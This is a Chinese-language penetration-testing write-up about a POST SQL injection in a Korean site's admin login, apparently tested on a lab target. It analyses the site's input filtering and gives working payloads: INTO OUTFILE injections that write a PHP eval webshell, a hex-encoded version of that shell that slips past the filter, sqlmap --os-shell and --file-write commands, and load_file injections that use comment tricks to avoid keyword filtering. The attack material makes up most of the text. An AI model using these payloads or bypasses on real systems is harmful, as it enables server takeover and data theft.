0x01 前言
在上篇文章中介绍了一个意大利后台登录框POST注入漏洞的基本利用方法,而这篇文章主要记录的是一个韩国后台登录框POST注入漏洞在Getshell时遇到的安全过滤简单分析过程和绕过方法,这次用于测试的漏洞靶场由@黑无常老哥提供,在此表示感谢!
0x02 POST注入安全过滤分析
这套程序的开发作者采用的CodeIgniter框架,但他在写后台登录验证功能时没有经过有效过滤就直接带入查询,导致出现了SQL注入漏洞。
- 问题文件:.\application\models\login_model.php
通过对代码的分析和后台登录页的测试发现确实存在POST注入漏洞,那么我们就先来尝试一下常规的Getshell方法看下是否可行?
'or 1 into outfile 'C:\\phpStudy\\WWW\\kr\\uploads\\webshell.php' fields terminated by "<?php @eval($_POST['90sec']);?>"#
在上图中可以看到文件已经被成功写进去了,但是<>尖括号和()小括号都被过滤掉了。
注:浏览器访问时发现文件内容显示是正常的,测试过程中遇到这种情况时可能会误认为该文件没有被解析,其实并不是的,只不过是因为转换后的编码也能被浏览器正常解析罢了。
找到过滤文件看下代码怎么写的,很多网站都是直接采用htmlentities()、htmlspecialchars()等函数将一些预定义的字符转换为HTML实体编码,而这个开发作者是利用正则匹配和替换方式将<>尖括号转换为HTML实体编码,包含特定关键词的()小括号替换为了Unicode编码。
- 危险字符过滤文件:.\system\core\Security.php
- HTML实体编码:<>尖括号 = <>
- Unicode ASCII 10进制编码:()小括号 = ()
Unicode五种编码形式:
Unicode &#(ASCII 10进制):90sec Unicode &(ASCII 10进制):90sec Unicode \u(HEX 16进制):\u0039\u0030\u0073\u0065\u0063 Unicode \u+(HEX 16进制):\u+0039\u+0030\u+0073\u+0065\u+0063 Unicode &#x(HEX 16进制):90sec
常用PHP安全过滤函数有:
magic_quotes_gpc //对GET、POST、COOKE中的数据进行过滤 mysql_real_escape_string() //转义SQL语句中的特殊字符 addslashes() //在预定义字符之前添加反斜杠 stripslashes() //删除反斜杠 htmlentities() //将字符转换为HTML实体 htmlspecialchars() //将预定义字符< 、 >等转换为HTML实体 strip_tags() //删除字符串中的HTML标签 md5() //Md5加密函数 sha1() //sha1加密函数 intval() //将变量转成整数型 [...SNIP...]
Sqlmap Getshell数据包分析:
(1) sqlmap --v 3参数获取注入Payload。
sqlmap -r post.txt -p "userid" --os-shell -v 3
(2) sqlmap --proxy参数获取注入payload。
sqlmap -r post.txt -p "userid" --os-shell --proxy "http://127.0.0.1:8080"
注:使用--os-shell、--file-write、--file-dest、--file-read等参数在读取和写入文件时都会提示500的报错,但其实文件都已经成功写入到指定路径里了,只是内容为空而已,只需要在--os-shell参数的Payload前加上'or 1=1即可成功写入。
root@kali:~# sqlmap -r post.txt -p "userid" --file-write "/tmp/shell.php" --file-dest "C:\\phpStudy\\WWW\\kr\\upload\\webshell.php" -v 3
0x03 POST注入GetShell绕过
(1) 因WAF注入规则或自写安全脚本过滤了union、select等,这时可以尝试使用以下方法进行绕过。
'or 1 into outfile 'C:\\phpStudy\\WWW\\kr\\uploads\\webshell.php' fields terminated by "<?php @eval($_POST['90sec']);?>"#
(2) 用htmlentities()、htmlspecialchars()等函数将<>尖括号转换为html实体编码,或利用正则匹配和替换方式将<>尖括号和()小括号替换为Unicode编码,这时我们可以将一句话木马的内容进行HEX编码即可绕过。
'or 1=1 limit 0,1 into outfile 'C:\\phpStudy\\WWW\\kr\\uploads\\webshell.php' fields terminated by 0x3C3F70687020406576616C28245F504F53545B273930736563275D293B203F3E%23
0x04 POST注入Load_File绕过
由于安全过滤中也匹配了file、file_get_contents、readfile关键字,所以不能直接使用load_file()函数读取目标磁盘上的文件,用以下语句进行测试,可以看到load_file()函数中的括号已经被编码了,感谢团队@Cream老哥给推荐的seay大佬写的MySQL监控插件。
'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'
虽然被过滤了,但还是可以利用/*..*/、/*!..*/注释方式来绕过安全过滤中正则匹配到的file等关键字。
'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file/**/(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and' 'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(/*!load_file*/(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'